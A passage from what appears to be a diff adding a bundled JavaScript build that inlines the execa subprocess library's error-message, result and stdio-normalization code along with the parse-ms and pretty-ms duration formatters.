{ fdNumber, unit }; + stream.destroy(); + throw error; +}; +var getMaxBufferUnit = (readableObjectMode, lines, encoding) => { + if (readableObjectMode) { + return "objects"; + } + if (lines) { + return "lines"; + } + if (encoding === "buffer") { + return "bytes"; + } + return "characters"; +}; +var checkIpcMaxBuffer = (subprocess, ipcOutput, maxBuffer) => { + if (ipcOutput.length !== maxBuffer) { + return; + } + const error = new MaxBufferError(); + error.maxBufferInfo = { fdNumber: "ipc" }; + throw error; +}; +var getMaxBufferMessage = (error, maxBuffer) => { + const { streamName, threshold, unit } = getMaxBufferInfo(error, maxBuffer); + return `Command's ${streamName} was larger than ${threshold} ${unit}`; +}; +var getMaxBufferInfo = (error, maxBuffer) => { + if (error?.maxBufferInfo === void 0) { + return { streamName: "output", threshold: maxBuffer[1], unit: "bytes" }; + } + const { + maxBufferInfo: { fdNumber, unit }, + } = error; + delete error.maxBufferInfo; + const threshold = getFdSpecificValue(maxBuffer, fdNumber); + if (fdNumber === "ipc") { + return { streamName: "IPC output", threshold, unit: "messages" }; + } + return { streamName: getStreamName(fdNumber), threshold, unit }; +}; +var isMaxBufferSync = (resultError, output, maxBuffer) => + resultError?.code === "ENOBUFS" && + output !== null && + output.some( + (result) => result !== null && result.length > getMaxBufferSync(maxBuffer), + ); +var truncateMaxBufferSync = (result, isMaxBuffer, maxBuffer) => { + if (!isMaxBuffer) { + return result; + } + const maxBufferValue = getMaxBufferSync(maxBuffer); + return result.length > maxBufferValue + ? result.slice(0, maxBufferValue) + : result; +}; +var getMaxBufferSync = ([, stdoutMaxBuffer]) => stdoutMaxBuffer; + +// node_modules/execa/lib/return/message.js +var createMessages = ({ + stdio, + all, + ipcOutput, + originalError, + signal, + signalDescription, + exitCode, + escapedCommand, + timedOut, + isCanceled, + isGracefullyCanceled, + isMaxBuffer, + isForcefullyTerminated, + forceKillAfterDelay, + killSignal, + maxBuffer, + timeout, + cwd, +}) => { + const errorCode = originalError?.code; + const prefix = getErrorPrefix({ + originalError, + timedOut, + timeout, + isMaxBuffer, + maxBuffer, + errorCode, + signal, + signalDescription, + exitCode, + isCanceled, + isGracefullyCanceled, + isForcefullyTerminated, + forceKillAfterDelay, + killSignal, + }); + const originalMessage = getOriginalMessage(originalError, cwd); + const suffix = + originalMessage === void 0 + ? "" + : ` +${originalMessage}`; + const shortMessage = `${prefix}: ${escapedCommand}${suffix}`; + const messageStdio = all === void 0 ? [stdio[2], stdio[1]] : [all]; + const message = [ + shortMessage, + ...messageStdio, + ...stdio.slice(3), + ipcOutput.map((ipcMessage) => serializeIpcMessage(ipcMessage)).join("\n"), + ] + .map((messagePart) => + escapeLines(stripFinalNewline(serializeMessagePart(messagePart))), + ) + .filter(Boolean) + .join("\n\n"); + return { originalMessage, shortMessage, message }; +}; +var getErrorPrefix = ({ + originalError, + timedOut, + timeout, + isMaxBuffer, + maxBuffer, + errorCode, + signal, + signalDescription, + exitCode, + isCanceled, + isGracefullyCanceled, + isForcefullyTerminated, + forceKillAfterDelay, + killSignal, +}) => { + const forcefulSuffix = getForcefulSuffix( + isForcefullyTerminated, + forceKillAfterDelay, + ); + if (timedOut) { + return `Command timed out after ${timeout} milliseconds${forcefulSuffix}`; + } + if (isGracefullyCanceled) { + if (signal === void 0) { + return `Command was gracefully canceled with exit code ${exitCode}`; + } + return isForcefullyTerminated + ? `Command was gracefully canceled${forcefulSuffix}` + : `Command was gracefully canceled with ${signal} (${signalDescription})`; + } + if (isCanceled) { + return `Command was canceled${forcefulSuffix}`; + } + if (isMaxBuffer) { + return `${getMaxBufferMessage(originalError, maxBuffer)}${forcefulSuffix}`; + } + if (errorCode !== void 0) { + return `Command failed with ${errorCode}${forcefulSuffix}`; + } + if (isForcefullyTerminated) { + return `Command was killed with ${killSignal} (${getSignalDescription(killSignal)})${forcefulSuffix}`; + } + if (signal !== void 0) { + return `Command was killed with ${signal} (${signalDescription})`; + } + if (exitCode !== void 0) { + return `Command failed with exit code ${exitCode}`; + } + return "Command failed"; +}; +var getForcefulSuffix = (isForcefullyTerminated, forceKillAfterDelay) => + isForcefullyTerminated + ? ` and was forcefully terminated after ${forceKillAfterDelay} milliseconds` + : ""; +var getOriginalMessage = (originalError, cwd) => { + if (originalError instanceof DiscardedError) { + return; + } + const originalMessage = isExecaError(originalError) + ? originalError.originalMessage + : String(originalError?.message ?? originalError); + const escapedOriginalMessage = escapeLines(fixCwdError(originalMessage, cwd)); + return escapedOriginalMessage === "" ? void 0 : escapedOriginalMessage; +}; +var serializeIpcMessage = (ipcMessage) => + typeof ipcMessage === "string" ? ipcMessage : inspect2(ipcMessage); +var serializeMessagePart = (messagePart) => + Array.isArray(messagePart) + ? messagePart + .map((messageItem) => + stripFinalNewline(serializeMessageItem(messageItem)), + ) + .filter(Boolean) + .join("\n") + : serializeMessageItem(messagePart); +var serializeMessageItem = (messageItem) => { + if (typeof messageItem === "string") { + return messageItem; + } + if (isUint8Array(messageItem)) { + return uint8ArrayToString(messageItem); + } + return ""; +}; + +// node_modules/execa/lib/return/result.js +var makeSuccessResult = ({ + command, + escapedCommand, + stdio, + all, + ipcOutput, + options: { cwd }, + startTime, +}) => + omitUndefinedProperties({ + command, + escapedCommand, + cwd, + durationMs: getDurationMs(startTime), + failed: false, + timedOut: false, + isCanceled: false, + isGracefullyCanceled: false, + isTerminated: false, + isMaxBuffer: false, + isForcefullyTerminated: false, + exitCode: 0, + stdout: stdio[1], + stderr: stdio[2], + all, + stdio, + ipcOutput, + pipedFrom: [], + }); +var makeEarlyError = ({ + error, + command, + escapedCommand, + fileDescriptors, + options, + startTime, + isSync, +}) => + makeError({ + error, + command, + escapedCommand, + startTime, + timedOut: false, + isCanceled: false, + isGracefullyCanceled: false, + isMaxBuffer: false, + isForcefullyTerminated: false, + stdio: Array.from({ length: fileDescriptors.length }), + ipcOutput: [], + options, + isSync, + }); +var makeError = ({ + error: originalError, + command, + escapedCommand, + startTime, + timedOut, + isCanceled, + isGracefullyCanceled, + isMaxBuffer, + isForcefullyTerminated, + exitCode: rawExitCode, + signal: rawSignal, + stdio, + all, + ipcOutput, + options: { + timeoutDuration, + timeout = timeoutDuration, + forceKillAfterDelay, + killSignal, + cwd, + maxBuffer, + }, + isSync, +}) => { + const { exitCode, signal, signalDescription } = normalizeExitPayload( + rawExitCode, + rawSignal, + ); + const { originalMessage, shortMessage, message } = createMessages({ + stdio, + all, + ipcOutput, + originalError, + signal, + signalDescription, + exitCode, + escapedCommand, + timedOut, + isCanceled, + isGracefullyCanceled, + isMaxBuffer, + isForcefullyTerminated, + forceKillAfterDelay, + killSignal, + maxBuffer, + timeout, + cwd, + }); + const error = getFinalError(originalError, message, isSync); + Object.assign( + error, + getErrorProperties({ + error, + command, + escapedCommand, + startTime, + timedOut, + isCanceled, + isGracefullyCanceled, + isMaxBuffer, + isForcefullyTerminated, + exitCode, + signal, + signalDescription, + stdio, + all, + ipcOutput, + cwd, + originalMessage, + shortMessage, + }), + ); + return error; +}; +var getErrorProperties = ({ + error, + command, + escapedCommand, + startTime, + timedOut, + isCanceled, + isGracefullyCanceled, + isMaxBuffer, + isForcefullyTerminated, + exitCode, + signal, + signalDescription, + stdio, + all, + ipcOutput, + cwd, + originalMessage, + shortMessage, +}) => + omitUndefinedProperties({ + shortMessage, + originalMessage, + command, + escapedCommand, + cwd, + durationMs: getDurationMs(startTime), + failed: true, + timedOut, + isCanceled, + isGracefullyCanceled, + isTerminated: signal !== void 0, + isMaxBuffer, + isForcefullyTerminated, + exitCode, + signal, + signalDescription, + code: error.cause?.code, + stdout: stdio[1], + stderr: stdio[2], + all, + stdio, + ipcOutput, + pipedFrom: [], + }); +var omitUndefinedProperties = (result) => + Object.fromEntries( + Object.entries(result).filter(([, value]) => value !== void 0), + ); +var normalizeExitPayload = (rawExitCode, rawSignal) => { + const exitCode = rawExitCode === null ? void 0 : rawExitCode; + const signal = rawSignal === null ? void 0 : rawSignal; + const signalDescription = + signal === void 0 ? void 0 : getSignalDescription(rawSignal); + return { exitCode, signal, signalDescription }; +}; + +// node_modules/parse-ms/index.js +var toZeroIfInfinity = (value) => (Number.isFinite(value) ? value : 0); +function parseNumber(milliseconds) { + return { + days: Math.trunc(milliseconds / 864e5), + hours: Math.trunc((milliseconds / 36e5) % 24), + minutes: Math.trunc((milliseconds / 6e4) % 60), + seconds: Math.trunc((milliseconds / 1e3) % 60), + milliseconds: Math.trunc(milliseconds % 1e3), + microseconds: Math.trunc(toZeroIfInfinity(milliseconds * 1e3) % 1e3), + nanoseconds: Math.trunc(toZeroIfInfinity(milliseconds * 1e6) % 1e3), + }; +} +function parseBigint(milliseconds) { + return { + days: milliseconds / 86400000n, + hours: (milliseconds / 3600000n) % 24n, + minutes: (milliseconds / 60000n) % 60n, + seconds: (milliseconds / 1000n) % 60n, + milliseconds: milliseconds % 1000n, + microseconds: 0n, + nanoseconds: 0n, + }; +} +function parseMilliseconds(milliseconds) { + switch (typeof milliseconds) { + case "number": { + if (Number.isFinite(milliseconds)) { + return parseNumber(milliseconds); + } + break; + } + case "bigint": { + return parseBigint(milliseconds); + } + } + throw new TypeError("Expected a finite number or bigint"); +} + +// node_modules/pretty-ms/index.js +var isZero = (value) => value === 0 || value === 0n; +var pluralize = (word, count2) => + count2 === 1 || count2 === 1n ? word : `${word}s`; +var SECOND_ROUNDING_EPSILON = 1e-7; +var ONE_DAY_IN_MILLISECONDS = 24n * 60n * 60n * 1000n; +function prettyMilliseconds(milliseconds, options) { + const isBigInt = typeof milliseconds === "bigint"; + if (!isBigInt && !Number.isFinite(milliseconds)) { + throw new TypeError("Expected a finite number or bigint"); + } + options = { ...options }; + const sign = milliseconds < 0 ? "-" : ""; + milliseconds = milliseconds < 0 ? -milliseconds : milliseconds; + if (options.colonNotation) { + options.compact = false; + options.formatSubMilliseconds = false; + options.separateMilliseconds = false; + options.verbose = false; + } + if (options.compact) { + options.unitCount = 1; + options.secondsDecimalDigits = 0; + options.millisecondsDecimalDigits = 0; + } + let result = []; + const floorDecimals = (value, decimalDigits) => { + const flooredInterimValue = Math.floor( + value * 10 ** decimalDigits + SECOND_ROUNDING_EPSILON, + ); + const flooredValue = Math.round(flooredInterimValue) / 10 ** decimalDigits; + return flooredValue.toFixed(decimalDigits); + }; + const add = (value, long, short, valueString) => { + if ( + (result.length === 0 || !options.colonNotation) && + isZero(value) && + !(options.colonNotation && short === "m") + ) { + return; + } + valueString ??= String(value); + if (options.colonNotation) { + const wholeDigits = valueString.includes(".") + ? valueString.split(".")[0].length + : valueString.length; + const minLength = result.length > 0 ? 2 : 1; + valueString = + "0".repeat(Math.max(0, minLength - wholeDigits)) + valueString; + } else { + valueString += options.verbose ? " " + pluralize(long, value) : short; + } + result.push(valueString); + }; + const parsed = parseMilliseconds(milliseconds); + const days = BigInt(parsed.days); + if (options.hideYearAndDays) { + add(BigInt(days) * 24n + BigInt(parsed.hours), "hour", "h"); + } else { + if (options.hideYear) { + add(days, "day", "d"); + } else { + add(days / 365n, "year", "y"); + add(days % 365n, "day", "d"); + } + add(Number(parsed.hours), "hour", "h"); + } + add(Number(parsed.minutes), "minute", "m"); + if (!options.hideSeconds) { + if ( + options.separateMilliseconds || + options.formatSubMilliseconds || + (!options.colonNotation && + milliseconds < 1e3 && + !options.subSecondsAsDecimals) + ) { + const seconds = Number(parsed.seconds); + const milliseconds2 = Number(parsed.milliseconds); + const microseconds = Number(parsed.microseconds); + const nanoseconds = Number(parsed.nanoseconds); + add(seconds, "second", "s"); + if (options.formatSubMilliseconds) { + add(milliseconds2, "millisecond", "ms"); + add(microseconds, "microsecond", "\xB5s"); + add(nanoseconds, "nanosecond", "ns"); + } else { + const millisecondsAndBelow = + milliseconds2 + microseconds / 1e3 + nanoseconds / 1e6; + const millisecondsDecimalDigits = + typeof options.millisecondsDecimalDigits === "number" + ? options.millisecondsDecimalDigits + : 0; + const roundedMilliseconds = + millisecondsAndBelow >= 1 + ? Math.round(millisecondsAndBelow) + : Math.ceil(millisecondsAndBelow); + const millisecondsString = millisecondsDecimalDigits + ? millisecondsAndBelow.toFixed(millisecondsDecimalDigits) + : roundedMilliseconds; + add( + Number.parseFloat(millisecondsString), + "millisecond", + "ms", + millisecondsString, + ); + } + } else { + const seconds = + ((isBigInt + ? Number(milliseconds % ONE_DAY_IN_MILLISECONDS) + : milliseconds) / + 1e3) % + 60; + const secondsDecimalDigits = + typeof options.secondsDecimalDigits === "number" + ? options.secondsDecimalDigits + : 1; + const secondsFixed = floorDecimals(seconds, secondsDecimalDigits); + const secondsString = options.keepDecimalsOnWholeSeconds + ? secondsFixed + : secondsFixed.replace(/\.0+$/, ""); + add(Number.parseFloat(secondsString), "second", "s", secondsString); + } + } + if (result.length === 0) { + return sign + "0" + (options.verbose ? " milliseconds" : "ms"); + } + const separator = options.colonNotation ? ":" : " "; + if (typeof options.unitCount === "number") { + result = result.slice(0, Math.max(options.unitCount, 1)); + } + return sign + result.join(separator); +} + +// node_modules/execa/lib/verbose/error.js +var logError = (result, verboseInfo) => { + if (result.failed) { + verboseLog({ + type: "error", + verboseMessage: result.shortMessage, + verboseInfo, + result, + }); + } +}; + +// node_modules/execa/lib/verbose/complete.js +var logResult = (result, verboseInfo) => { + if (!isVerbose(verboseInfo)) { + return; + } + logError(result, verboseInfo); + logDuration(result, verboseInfo); +}; +var logDuration = (result, verboseInfo) => { + const verboseMessage = `(done in ${prettyMilliseconds(result.durationMs)})`; + verboseLog({ + type: "duration", + verboseMessage, + verboseInfo, + result, + }); +}; + +// node_modules/execa/lib/return/reject.js +var handleResult = (result, verboseInfo, { reject }) => { + logResult(result, verboseInfo); + if (result.failed && reject) { + throw result; + } + return result; +}; + +// node_modules/execa/lib/stdio/handle-sync.js +import { readFileSync as readFileSync2 } from "node:fs"; + +// node_modules/execa/lib/stdio/type.js +var getStdioItemType = (value, optionName) => { + if (isAsyncGenerator(value)) { + return "asyncGenerator"; + } + if (isSyncGenerator(value)) { + return "generator"; + } + if (isUrl(value)) { + return "fileUrl"; + } + if (isFilePathObject(value)) { + return "filePath"; + } + if (isWebStream(value)) { + return "webStream"; + } + if (isStream(value, { checkOpen: false })) { + return "native"; + } + if (isUint8Array(value)) { + return "uint8Array"; + } + if (isAsyncIterableObject(value)) { + return "asyncIterable"; + } + if (isIterableObject(value)) { + return "iterable"; + } + if (isTransformStream(value)) { + return getTransformStreamType({ transform: value }, optionName); + } + if (isTransformOptions(value)) { + return getTransformObjectType(value, optionName); + } + return "native"; +}; +var getTransformObjectType = (value, optionName) => { + if (isDuplexStream(value.transform, { checkOpen: false })) { + return getDuplexType(value, optionName); + } + if (isTransformStream(value.transform)) { + return getTransformStreamType(value, optionName); + } + return getGeneratorObjectType(value, optionName); +}; +var getDuplexType = (value, optionName) => { + validateNonGeneratorType(value, optionName, "Duplex stream"); + return "duplex"; +}; +var getTransformStreamType = (value, optionName) => { + validateNonGeneratorType(value, optionName, "web TransformStream"); + return "webTransform"; +}; +var validateNonGeneratorType = ( + { final, binary, objectMode }, + optionName, + typeName, +) => { + checkUndefinedOption(final, `${optionName}.final`, typeName); + checkUndefinedOption(binary, `${optionName}.binary`, typeName); + checkBooleanOption(objectMode, `${optionName}.objectMode`); +}; +var checkUndefinedOption = (value, optionName, typeName) => { + if (value !== void 0) { + throw new TypeError( + `The \`${optionName}\` option can only be defined when using a generator, not a ${typeName}.`, + ); + } +}; +var getGeneratorObjectType = ( + { transform, final, binary, objectMode }, + optionName, +) => { + if (transform !== void 0 && !isGenerator(transform)) { + throw new TypeError( + `The \`${optionName}.transform\` option must be a generator, a Duplex stream or a web TransformStream.`, + ); + } + if (isDuplexStream(final, { checkOpen: false })) { + throw new TypeError( + `The \`${optionName}.final\` option must not be a Duplex stream.`, + ); + } + if (isTransformStream(final)) { + throw new TypeError( + `The \`${optionName}.final\` option must not be a web TransformStream.`, + ); + } + if (final !== void 0 && !isGenerator(final)) { + throw new TypeError( + `The \`${optionName}.final\` option must be a generator.`, + ); + } + checkBooleanOption(binary, `${optionName}.binary`); + checkBooleanOption(objectMode, `${optionName}.objectMode`); + return isAsyncGenerator(transform) || isAsyncGenerator(final) + ? "asyncGenerator" + : "generator"; +}; +var checkBooleanOption = (value, optionName) => { + if (value !== void 0 && typeof value !== "boolean") { + throw new TypeError(`The \`${optionName}\` option must use a boolean.`); + } +}; +var isGenerator = (value) => isAsyncGenerator(value) || isSyncGenerator(value); +var isAsyncGenerator = (value) => + Object.prototype.toString.call(value) === "[object AsyncGeneratorFunction]"; +var isSyncGenerator = (value) => + Object.prototype.toString.call(value) === "[object GeneratorFunction]"; +var isTransformOptions = (value) => + isPlainObject(value) && + (value.transform !== void 0 || value.final !== void 0); +var isUrl = (value) => Object.prototype.toString.call(value) === "[object URL]"; +var isRegularUrl = (value) => isUrl(value) && value.protocol !== "file:"; +var isFilePathObject = (value) => + isPlainObject(value) && + Object.keys(value).length > 0 && + Object.keys(value).every((key) => FILE_PATH_KEYS.has(key)) && + isFilePathString(value.file); +var FILE_PATH_KEYS = /* @__PURE__ */ new Set(["file", "append"]); +var isFilePathString = (file) => typeof file === "string"; +var isUnknownStdioString = (type, value) => + type === "native" && + typeof value === "string" && + !KNOWN_STDIO_STRINGS.has(value); +var KNOWN_STDIO_STRINGS = /* @__PURE__ */ new Set([ + "ipc", + "ignore", + "inherit", + "overlapped", + "pipe", +]); +var isReadableStream2 = (value) => + Object.prototype.toString.call(value) === "[object ReadableStream]"; +var isWritableStream2 = (value) => + Object.prototype.toString.call(value) === "[object WritableStream]"; +var isWebStream = (value) => + isReadableStream2(value) || isWritableStream2(value); +var isTransformStream = (value) => + isReadableStream2(value?.readable) && isWritableStream2(value?.writable); +var isAsyncIterableObject = (value) => + isObject(value) && typeof value[Symbol.asyncIterator] === "function"; +var isIterableObject = (value) => + isObject(value) && typeof value[Symbol.iterator] === "function"; +var isObject = (value) => typeof value === "object" && value !== null; +var TRANSFORM_TYPES = /* @__PURE__ */ new Set([ + "generator", + "asyncGenerator", + "duplex", + "webTransform", +]); +var FILE_TYPES = /* @__PURE__ */ new Set(["fileUrl", "filePath", "fileNumber"]); +var SPECIAL_DUPLICATE_TYPES_SYNC = /* @__PURE__ */ new Set([ + "fileUrl", + "filePath", +]); +var SPECIAL_DUPLICATE_TYPES = /* @__PURE__ */ new Set([ + ...SPECIAL_DUPLICATE_TYPES_SYNC, + "webStream", + "nodeStream", +]); +var FORBID_DUPLICATE_TYPES = /* @__PURE__ */ new Set([ + "webTransform", + "duplex", +]); +var TYPE_TO_MESSAGE = { + generator: "a generator", + asyncGenerator: "an async generator", + fileUrl: "a file URL", + filePath: "a file path string", + fileNumber: "a file descriptor number", + webStream: "a web stream", + nodeStream: "a Node.js stream", + webTransform: "a web TransformStream", + duplex: "a Duplex stream", + native: "any value", + iterable: "an iterable", + asyncIterable: "an async iterable", + string: "a string", + uint8Array: "a Uint8Array", +}; + +// node_modules/execa/lib/transform/object-mode.js +var getTransformObjectModes = (objectMode, index, newTransforms, direction) => + direction === "output" + ? getOutputObjectModes(objectMode, index, newTransforms) + : getInputObjectModes(objectMode, index, newTransforms); +var getOutputObjectModes = (objectMode, index, newTransforms) => { + const writableObjectMode = + index !== 0 && newTransforms[index - 1].value.readableObjectMode; + const readableObjectMode = objectMode ?? writableObjectMode; + return { writableObjectMode, readableObjectMode }; +}; +var getInputObjectModes = (objectMode, index, newTransforms) => { + const writableObjectMode = + index === 0 + ? objectMode === true + : newTransforms[index - 1].value.readableObjectMode; + const readableObjectMode = + index !== newTransforms.length - 1 && (objectMode ?? writableObjectMode); + return { writableObjectMode, readableObjectMode }; +}; +var getFdObjectMode = (stdioItems, direction) => { + const lastTransform = stdioItems.findLast(({ type }) => + TRANSFORM_TYPES.has(type), + ); + if (lastTransform === void 0) { + return false; + } + return direction === "input" + ? lastTransform.value.writableObjectMode + : lastTransform.value.readableObjectMode; +}; + +// node_modules/execa/lib/transform/normalize.js +var normalizeTransforms = (stdioItems, optionName, direction, options) => [ + ...stdioItems.filter(({ type }) => !TRANSFORM_TYPES.has(type)), + ...getTransforms(stdioItems, optionName, direction, options), +]; +var getTransforms = (stdioItems, optionName, direction, { encoding }) => { + const transforms = stdioItems.filter(({ type }) => TRANSFORM_TYPES.has(type)); + const newTransforms = Array.from({ length: transforms.length }); + for (const [index, stdioItem] of Object.entries(transforms)) { + newTransforms[index] = normalizeTransform({ + stdioItem, + index: Number(index), + newTransforms, + optionName, + direction, + encoding, + }); + } + return sortTransforms(newTransforms, direction); +}; +var normalizeTransform = ({ + stdioItem, + stdioItem: { type }, + index, + newTransforms, + optionName, + direction, + encoding, +}) => { + if (type === "duplex") { + return normalizeDuplex({ stdioItem, optionName }); + } + if (type === "webTransform") { + return normalizeTransformStream({ + stdioItem, + index, + newTransforms, + direction, + }); + } + return normalizeGenerator({ + stdioItem, + index, + newTransforms, + direction, + encoding, + }); +}; +var normalizeDuplex = ({ + stdioItem, + stdioItem: { + value: { + transform, + transform: { writableObjectMode, readableObjectMode }, + objectMode = readableObjectMode, + }, + }, + optionName, +}) => { + if (objectMode && !readableObjectMode) { + throw new TypeError( + `The \`${optionName}.objectMode\` option can only be \`true\` if \`new Duplex({objectMode: true})\` is used.`, + ); + } + if (!objectMode && readableObjectMode) { + throw new TypeError( + `The \`${optionName}.objectMode\` option cannot be \`false\` if \`new Duplex({objectMode: true})\` is used.`, + ); + } + return { + ...stdioItem, + value: { transform, writableObjectMode, readableObjectMode }, + }; +}; +var normalizeTransformStream = ({ + stdioItem, + stdioItem: { value }, + index, + newTransforms, + direction, +}) => { + const { transform, objectMode } = isPlainObject(value) + ? value + : { transform: value }; + const { writableObjectMode, readableObjectMode } = getTransformObjectModes( + objectMode, + index, + newTransforms, + direction, + ); + return { + ...stdioItem, + value: { transform, writableObjectMode, readableObjectMode }, + }; +}; +var normalizeGenerator = ({ + stdioItem, + stdioItem: { value }, + index, + newTransforms, + direction, + encoding, +}) => { + const { + transform, + final, + binary: binaryOption = false, + preserveNewlines = false, + objectMode, + } = isPlainObject(value) ? value : { transform: value }; + const binary = binaryOption || BINARY_ENCODINGS.has(encoding); + const { writableObjectMode, readableObjectMode } = getTransformObjectModes( + objectMode, + index, + newTransforms, + direction, + ); + return { + ...stdioItem, + value: { + transform, + final, + binary, + preserveNewlines, + writableObjectMode, + readableObjectMode, + }, + }; +}; +var sortTransforms = (newTransforms, direction) => + direction === "input" ? newTransforms.reverse() : newTransforms; + +// node_modules/execa/lib/stdio/direction.js +import process7 from "node:process"; +var getStreamDirection = (stdioItems, fdNumber, optionName) => { + const directions = stdioItems.map((stdioItem) => + getStdioItemDirection(stdioItem, fdNumber), + ); + if (directions.includes("input") && directions.includes("output")) { + throw new TypeError( + `The \`${optionName}\` option must not be an array of both readable and writable values.`, + ); + } + return directions.find(Boolean) ?? DEFAULT_DIRECTION; +}; +var getStdioItemDirection = ({ type, value }, fdNumber) => + KNOWN_DIRECTIONS[fdNumber] ?? guessStreamDirection[type](value); +var KNOWN_DIRECTIONS = ["input", "output", "output"]; +var anyDirection = () => void 0; +var alwaysInput = () => "input"; +var guessStreamDirection = { + generator: anyDirection, + asyncGenerator: anyDirection, + fileUrl: anyDirection, + filePath: anyDirection, + iterable: alwaysInput, + asyncIterable: alwaysInput, + uint8Array: alwaysInput, + webStream: (value) => (isWritableStream2(value) ? "output" : "input"), + nodeStream(value) { + if (!isReadableStream(value, { checkOpen: false })) { + return "output"; + } + return isWritableStream(value, { checkOpen: false }) ? void 0 : "input"; + }, + webTransform: anyDirection, + duplex: anyDirection, + native(value) { + const standardStreamDirection = getStandardStreamDirection(value); + if (standardStreamDirection !== void 0) { + return standardStreamDirection; + } + if (isStream(value, { checkOpen: false })) { + return guessStreamDirection.nodeStream(value); + } + }, +}; +var getStandardStreamDirection = (value) => { + if ([0, process7.stdin].includes(value)) { + return "input"; + } + if ([1, 2, process7.stdout, process7.stderr].includes(value)) { + return "output"; + } +}; +var DEFAULT_DIRECTION = "output"; + +// node_modules/execa/lib/ipc/array.js +var normalizeIpcStdioArray = (stdioArray, ipc) => + ipc && !stdioArray.includes("ipc") ? [...stdioArray, "ipc"] : stdioArray; + +// node_modules/execa/lib/stdio/stdio-option.js +var normalizeStdioOption = ( + { stdio, ipc, buffer, ...options }, + verboseInfo, + isSync, +) => { + const stdioArray = getStdioArray(stdio, options).map( + (stdioOption, fdNumber) => addDefaultValue2(stdioOption, fdNumber), + ); + return isSync + ? normalizeStdioSync(stdioArray, buffer, verboseInfo) + : normalizeIpcStdioArray(stdioArray, ipc); +}; +var getStdioArray = (stdio, options) => { + if (stdio === void 0) { + return STANDARD_STREAMS_ALIASES.map((alias) => options[alias]); + } + if (hasAlias(options)) { + throw new Error( + `It's not possible to provide \`stdio\` in combination with one of ${STANDARD_STREAMS_ALIASES.map((alias) => `\`${alias}\``).join(", ")}`, + ); + } + if (typeof stdio === "string") { + return [stdio, stdio, stdio]; + } + if (!Array.isArray(stdio)) { + throw new TypeError( + `Expected \`stdio\` to be of type \`string\` or \`Array\`, got \`${typeof stdio}\``, + ); + } + const length = Math.max(stdio.length, STANDARD_STREAMS_ALIASES.length); + return Array.from({ length }, (_, fdNumber) => stdio[fdNumber]); +}; +var hasAlias = (options) => + STANDARD_STREAMS_ALIASES.some((alias) => options[alias] !== void 0); +var addDefaultValue2 = (stdioOption, fdNumber) => { + if (Array.isArray(stdioOption)) { + return stdioOption.map((item) => addDefaultValue2(item, fdNumber)); + } + if (stdioOption === null || stdioOption === void 0) { + return fdNumber >= STANDARD_STREAMS_ALIASES.length ? "ignore" : "pipe"; + } + return stdioOption; +}; +var normalizeStdioSync = (stdioArray, buffer, verboseInfo) => + stdioArray.map((stdioOption, fdNumber) => + !buffer[fdNumber] && + fdNumber !== 0 && + !isFullVerbose(verboseInfo, fdNumber) && + isOutputPipeOnly(stdioOption) + ? "ignore" + : stdioOption, + ); +var isOutputPipeOnly = (stdioOption) => + stdioOption === "pipe" || + (Array.isArray(stdioOption) && stdioOption.every((item) => item === "pipe")); + +// node_modules/execa/lib/stdio/native.js +import { readFileSync } from "node:fs"; +import tty2 from "node:tty"; +var handleNativeStream = ({ + stdioItem, + stdioItem: { type }, + isStdioArray, + fdNumber, + direction, + isSync, +}) => { + if (!isStdioArray || type !== "native") { + return stdioItem; + } + return isSync + ? handleNativeStreamSync({ stdioItem, fdNumber, direction }) + : handleNativeStreamAsync({ stdioItem, fdNumber }); +}; +var handleNativeStreamSync = ({ + stdioItem, + stdioItem: { value, optionName }, + fdNumber, + direction, +}) => { + const targetFd = getTargetFd({ + value, + optionName, + fdNumber, + direction, + }); + if (targetFd !== void 0) { + return targetFd; + } + if (isStream(value, { checkOpen: false })) { + throw new TypeError( + `The \`${optionName}: Stream\` option cannot both be an array and include a stream with synchronous methods.`, + ); + } + return stdioItem; +}; +var getTargetFd = ({ value, optionName, fdNumber, direction }) => { + const targetFdNumber = getTargetFdNumber(value, fdNumber); + if (targetFdNumber === void 0) { + return; + } + if (direction === "output") { + return { type: "fileNumber", value: targetFdNumber, optionName }; + } + if (tty2.isatty(targetFdNumber)) { + throw new TypeError( + `The \`${optionName}: ${serializeOptionValue(value)}\` option is invalid: it cannot be a TTY with synchronous methods.`, + ); + } + return { + type: "uint8Array", + value: bufferToUint8Array(readFileSync(targetFdNumber)), + optionName, + }; +}; +var getTargetFdNumber = (value, fdNumber) => { + if (value === "inherit") { + return fdNumber; + } + if (typeof value === "number") { + return value; + } + const standardStreamIndex = STANDARD_STREAMS.indexOf(value); + if (standardStreamIndex !== -1) { + return standardStreamIndex; + } +}; +var handleNativeStreamAsync = ({ + stdioItem, + stdioItem: { value, optionName }, + fdNumber, +}) => { + if (value === "inherit") { + return { + type: "nodeStream", + value: getStandardStream(fdNumber, value, optionName), + optionName, + }; + } + if (typeof value === "number") { + return { + type: "nodeStream", + value: getStandardStream(value, value, optionName), + optionName, + }; + } + if (isStream(value, { checkOpen: false })) { + return { type: "nodeStream", value, optionName }; + } + return stdioItem; +}; +var getStandardStream = (fdNumber, value, optionName) => { + const standardStream = STANDARD_STREAMS[fdNumber]; + if (standardStream === void 0) { + throw new TypeError( + `The \`${optionName}: ${value}\` option is invalid: no such standard stream.`, + ); + } + return standardStream; +}; + +// node_modules/execa/lib/stdio/input-option.js +var handleInputOptions = ({ input: input2, inputFile }, fdNumber) => + fdNumber === 0 + ? [...handleInputOption(input2), ...handleInputFileOption(inputFile)] + : []; +var handleInputOption = (input2) => + input2 === void 0 + ? [] + : [ + { + type: getInputType(input2), + value: input2, + optionName: "input", + }, + ]; +var getInputType = (input2) => { + if (isReadableStream(input2, { checkOpen: false })) { + return "nodeStream"; + } + if (typeof input2 === "string") { + return "string"; + } + if (isUint8Array(input2)) { + return "uint8Array"; + } + throw new Error( + "The `input` option must be a string, a Uint8Array or a Node.js Readable stream.", + ); +}; +var handleInputFileOption = (inputFile) => + inputFile === void 0 + ? [] + : [ + { + ...getInputFileType(inputFile), + optionName: "inputFile", + }, + ]; +var getInputFileType = (inputFile) => { + if (isUrl(inputFile)) { + return { type: "fileUrl", value: inputFile }; + } + if (isFilePathString(inputFile)) { + return { type: "filePath", value: { file: inputFile } }; + } + throw new Error( + "The `inputFile` option must be a file path string or a file URL.", + ); +}; + +// node_modules/execa/lib/stdio/duplicate.js +var filterDuplicates = (stdioItems) => + stdioItems.filter((stdioItemOne, indexOne) => + stdioItems.every( + (stdioItemTwo, indexTwo) => + stdioItemOne.value !== stdioItemTwo.value || + indexOne >= indexTwo || + stdioItemOne.type === "generator" || + stdioItemOne.type === "asyncGenerator", + ), + ); +var getDuplicateStream = ({ + stdioItem: { type, value, optionName }, + direction, + fileDescriptors, + isSync, +}) => { + const otherStdioItems = 